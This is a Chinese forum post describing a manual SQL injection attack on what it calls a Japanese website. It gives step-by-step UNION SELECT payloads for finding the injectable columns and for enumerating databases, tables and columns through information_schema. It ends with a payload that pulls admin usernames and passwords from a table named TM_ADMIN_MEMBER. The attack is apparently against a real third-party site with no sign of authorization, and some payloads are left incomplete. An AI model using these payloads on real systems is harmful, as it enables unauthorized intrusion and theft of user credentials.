root 发表于 2018-10-8 10:10:50

MySQL手工注入实战

  实战记录,日本某站
  注入点 and 语句测试
  and1=1 返回正常,and=2跳回首页,可能过滤了
  


  用 ’ 测试返回错误页面
  判断为注入点

  order by语句查询字段数


  测试字段数为9

  and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9
  报错联合查询语句,查询显示位
  2、3为显示位

  使用注入函数可爆出数据库版本信息

  and 1=2 UNION SELECT 1,@@version_compile_os,3,4,5,6,7,8,9
  注入函数@@version_compile_os爆出操作系统

  and 1=2 UNION SELECT 1,database(),3,4,5,6,7,8,9
  用注入函数database()爆出当前库

  Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
  and1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8,9 from information_schema.SCHEMATA limit 0,1

  库1
  爆出第二个数据库,limit1,1即可
  发现第二个数据库就是当前库

  库2
  and 1=2 union select 1,TABLE_NAME,3,4,5,6,7,8,9from information_schema.TABLES where TABLE_SCHEMA=(库2名字16进制)limit 0,1
  爆第一个表名,数据库名要转换为16进制

  表1 敏感表
  改为limit 1,1可爆第二个表名

  表2
  and 1=2 union select 1,group_concat(TABLE_NAME),3,4,5,6,7,8,9 from information_schema.TABLES where TABLE_SCHEMA=0x68656E65636961 limit 0,1
  
  使用group_concat(table_name)可以一次爆出全部表名

  已得到敏感表名TM_ADMIN_MEMBER,接下来爆字段
  
  
  表名要转换为16进制
  and 1=2 union select 1,COLUMN_NAME,3,4,5,6,7,8,9 from information_schema.COLUMNS where TABLE_NAME= limit 0,1

  推荐使用这种方法
  
  and 1=2 union select 1,group_concat(COLUMN_NAME),3,4,5,6,7,8,9 from information_schema.COLUMNS where TABLE_NAME= limit 0,1
  #COLUMN翻译为列
  用 group_concat(COLUMN_NAME)函数可以一次爆出全部字段
  或者可以修改limit 1,1、limit 2,1.......来一个一个爆出

  敏感字段
  
  
  
  
  
  
  有敏感表名,敏感字段名后就获取内容
  经测试login_uid字段存放的是用户名
  login_pwd存放的是密码
  and 1=2 union select 1,login_uid,login_pwd,4,5,6,7,8,9 from 表名
  

  接下来的自行脑补.......
  欢迎各位大神指点批评!
  晨风

页: [1]
查看完整版本: MySQL手工注入实战